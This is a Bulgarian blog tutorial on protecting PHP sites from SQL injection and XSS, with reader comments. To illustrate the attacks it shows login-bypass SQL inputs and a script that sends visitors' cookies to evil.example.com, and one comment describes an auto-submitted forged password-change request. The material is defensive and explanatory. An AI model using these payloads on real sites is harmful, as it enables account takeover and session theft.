Защита от MySQL Injection и XSS атаки в PHP

25.01.2009 от Васил Тошков
Категории: Програмиране 

Защитата на едно уеб приложение е един от най-важните етапи, заедно с проектирането и оптимизацията му. В днешно време все по-малко се обръща внимание на защитата на уеб приложенията. Атаките далеч не се свеждат само до MySQL Injection и XSS. Има и още много други, като фалшиви HTTP заявки, brute-force атаки, публично излагане на код, открадване (фиксиране) на сесия и други.

MySQL Injection и XSS, обаче, са най-често срещаните атаки, поради многото сайтове уязвими към тях. Това са атаки, които се основават на уязвимости при изпращането и получаването на информация между потребителя и сървъра. Правилото, което трябва да се спазва, е че всичко, което влиза и излиза от базата данни, трябва да се филтрира! Не трябва да се има доверие и на никакви данни, представени от потребителя!

Повечето хора мислят, че е достатъчно да се филтрира само входната информация към базата данни. Не е достатъчно и опитът е показал, че и изходната информация трябва да се филтрира, за да се предпазим от така нареченото cross-site криптиране (XSS). Трябва и винаги да реализираме методи за защита в дълбочина, ако основната защита се бъгне или бъде заобиколена.

MySQL Injection

SQL инжектирането е най-често срещаната уязвимост в PHP приложенията. То се основава на грешка на PHP програмиста, при която не се филтрира информацията, подадена към базата данни. Често не се филтрира и върнатия резултат, при което се разкриват ценни данни и пътища. За да онагледя опасността от MySQL Injection, ще дам един прост пример.

Ако нашият скрипт за вход в системата има синтаксис от рода:
$sql = “SELECT * FROM users WHERE username = ‘$user’ AND password = ‘$pass’”. Ако към тази заявка, нарушителят подаде единична кавичка за потребителско име и произволна парола, заявката ще върне следната грешка:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘WHERE username = ‘ ‘ ‘ AND password = ‘sometext

С много малко работа (подаване на кавичка), нарушителят вече знае имената на две колони от таблицата и това, че данните и в двете посоки не са филтрирани правилно. Нарушителят знае и синтаксиса на клаузата WHERE, от където може да си сглоби заявки за всичко, което му трябва. Примерно:

myuser ‘ or ‘foo’ = ‘foo’ – -

Ако това се въведе като потребителско име, нарушителят ще влезе успешно в системата, без да има нито потребителско име, нито парола. А ако нарушителят знае потребителско име с нужните му права, той може да влезе и с него, без да му се налага да знае паролата. Просто въвежда за потребител:

cloxy’ – -

За щастие, SQL инжектирането се избягва много лесно. Просто всички променливи, които се вкарват в една MySQL заявка, трябва да бъдат филтрирани с функцията mysql_real_escape_string(). В горния пример, това са променливите $user и $pass. Синтаксисът е както следва: $user = mysql_real_escape_string($user) и така за $pass.

Cross-site криптиране (XSS)

XSS е втората по разпространение атака след MySQL Injection. Застрашени са всички сайтове, които визуализират входяща информация. Такива са блогове, форуми, книги за гости, дори приложенията за електронна поща. Ако тази входяща информация не е правилно филтрирана и декодирана, се получава уязвимост от XSS.

Представете си, че в някой много посещаван блог или форум, нарушител успее да вкара в коментара си следния код:

<script>
document.location = ‘http://evil.example.com/steal.php?cookies=’ + document.cookie
</script>

Изпращането на този коментар към потребителите Ви не е по-различно от това да разрешите някой друг да добави малка част JavaScript към кода Ви. Вашите потребители неволно ще изпратят своите бисквитки към злия сайт. Това ще разкрие сесиите на потребителите и други любопитни данни.

Това също се предотвратява много лесно. Просто трябва да се декодира изходната информация, за да се декодират всички специални символи, които са HTML еквивалентни. Аз препоръчвам функцията htmlentities(), която най-често се параметризира така: $content = htmlentities($content, ENT_QUOTES, ‘utf-8′);

Както виждате, много е лесно човек да се защити, въпросът е да знае как и къде да приложи знанията си. В тази статия съм използвал примери от книгата “Основи на PHP сигурността” на издателство O’REILLY. Препоръчвам я горещо на всички, които искат да се опазят от най-страшните атаки в мрежата.

бутон за споделяне в социални мрежи

Подобни публикации:

Коментари

12 коментара за Защита от MySQL Injection и XSS атаки в PHP

  1. Манол Трендафилов на 25.01.2009 15:21

    Сигурността е много важна част от разработката на приложения. Във фреймуърка с който работя ( http://symfony-project.com ) има заложени този тип защити и принципно се води за един от най – защитените frameworks

  2. Компота на 25.01.2009 16:50

    Една малка забележка:
    ……. заявката ще върне следната грешка:
    You have an error in your SQL syntax …….

    Правилно конфигуриран с мисъл за сигурността PHP ( display_errors off
    ) няма да изкарва никакви съобщения за грешки освен общата HTTP Error 500 Internal server error. Доколкото грешката в SQL синтаксиса излиза при викане на mysql_query(), в този случай съобщението за грешка в синтаксиса просто няма да се визуализира. Друг е въпроса, че доколкото много хора (включително и аз) имат навика да използват стандартни имена за таблици и полета (users, username, password и т.н.), не е особено трудно за зложелателя да налучка нужния SQL statement. Правилно си написал за филтриране чрез mysql_real_escape_string(). Други начини за защита са предварителнo филтриране на input-полетата с JavaScript (проверка за макс.дължина, проверка за наличие на някои символи), параметризирани заявки, stored процедури. Има и нещо много просто: добавяне на допълнителен MySQL потребител (ако хоста го позволява) с ограничени привилегии в зависимост от това, какво следва да може да прави потребителя на сайта.

  3. Калин на 25.01.2009 17:51

    Доста повече разбрах от тези обяснения, отколкото предишния път, когато се опитаха да ме просветлят за същите тези неща :)

  4. Васил Тошков на 25.01.2009 21:43

    Компот, мерси, че ме допълни. Важна е конфигурацията на PHP, но все-пак при стандартни настройки се получават тази прекрасни дупки. Да не говорим, че и register globals е включено и става още по-забавно.

  5. Едуард Димитров на 25.01.2009 21:53

    Браво. От слаба страна (по твойте собствени думи) програмирането започва да ти става силна страна. Остава да опишеш и блокирането чрез .htaccess на подобни атаки, където очаквам да се включи и Пламен Томов и ще стане страхотен материал.

  6. Васил Тошков на 25.01.2009 22:31

    Все-още ми е слаба страна, но гледам да се развивам, че SEO-то може да вземе да умре :) А и след 4 години в Информатика трябва все да закача нещо.

    Блокирането чрез .htaccess Пламен го описа тук. Няма смисъл да го повтаряме. Това е перфектна защита в дълбочина, вече го казах :)

  7. Мишо на 26.01.2009 01:19

    Всъщност трябва да се използва htmlspecialchars(), всичко друго е излишно :-)

  8. WOMANIZER на 01.02.2009 10:59

    Здравейте!
    На скоро си купих php скрипт за сайт…направих всичко…бази данни промени по някои неща, но има едни кодирани .php файлове в които трябва да направя още някои промени…Така, значи пеоблема е следния:
    Аз разкодирам файла, правя му промените и като го кача ми дава грешки…защо, мисля че файла трябва да е кодиран за да го показва правилно, въпроса ми е:
    Как да кодирам файла, след като съм го разкодирал и променил?

    Имам и друг въпрос тезикодове за защита от SQL инжекции къде се слагат…в кой файл?

    Ако някой може и иска да помогне нека пише на е-маил – Krasi_igrata@abv.bg

  9. ru на 19.02.2009 15:48

    ами.. SQL Injection Vectors With Encoding ?!
    mysql_real_escape_string() и addslashes() падат …

  10. Драгомир на 18.05.2009 15:22

    Cross-site писане (XSS) (scripting не crypting) не е толкова елементарно за предотвратяване. Това, че подаваните данни могат да се деактивират е ясно и (почти) никой не допуска такава елементарна грешка (за разлика то SQL инжектирането).
    Проблемът се състои във факта, че в много форуми и други подобни трябва да се въведе HTML информация, като например картинка. В такъв случай в кода се слага [IMG]…[/IMG], което php програмата трансформира в HTML: . В някои случаи, обаче, тези трансформации са некоректни, като най-простото е, че не отчитат зоните на стринговите (т.е. оградените в кавички) и тези за коментар. Така в крайния код може да се появят активни тагове, които не трябва да ги има.
    За XSS атаките бях намерил цяла книга, а четейки в нея научих че във Wikipedia са били отстранени околе 10-на подобни пропуска (т.е. не е редно да говорим за елементарна защита или значима програмистка некадърност).

  11. Илия Илиев на 02.03.2010 15:43

    Идеята за валидация с Javascript не е добра. Клиентската валидация е единствено за да е юзерфрендли приложението и за да подготви даните. В никакъв случай не трябва да се разчита на нея за валидация на даните. Всеки що годе годен програмист може да направи къстъм завка към PHP файла за валидация и да прескочи формата ти. Както каза шефа на яхуу – никога не разчитайте на браузера. Сървърната валидация е абсолютно задължителна.

  12. Мартин Радев на 30.07.2010 12:55

    Интересно! Все пак е хубаво някой по-опитен програмист да сподели как си филтрира информацията.
    Ще дам един прост пример, който видях наскоро за XSS.
    Да кажем, че имате форма за сменяне на парола. Потребителят трябва да напише просто нова парола и да я повтори. Нещо като в WordPress :)
    Правите същата форма като задавате action към страницата за сменяне на парола. Примерно: domain.com/change_pass.php
    Ето пример:

    [code]document.getElementById("steal").submit();[/code]

    Админът посещава страницата с нашия скрипт и бам – паролата ми бива сменена на 000000. Разбира се би трябвало да се усети, но ако не се заглежда много може и да не забележи.
    После чрез js симулираме натискане на бутон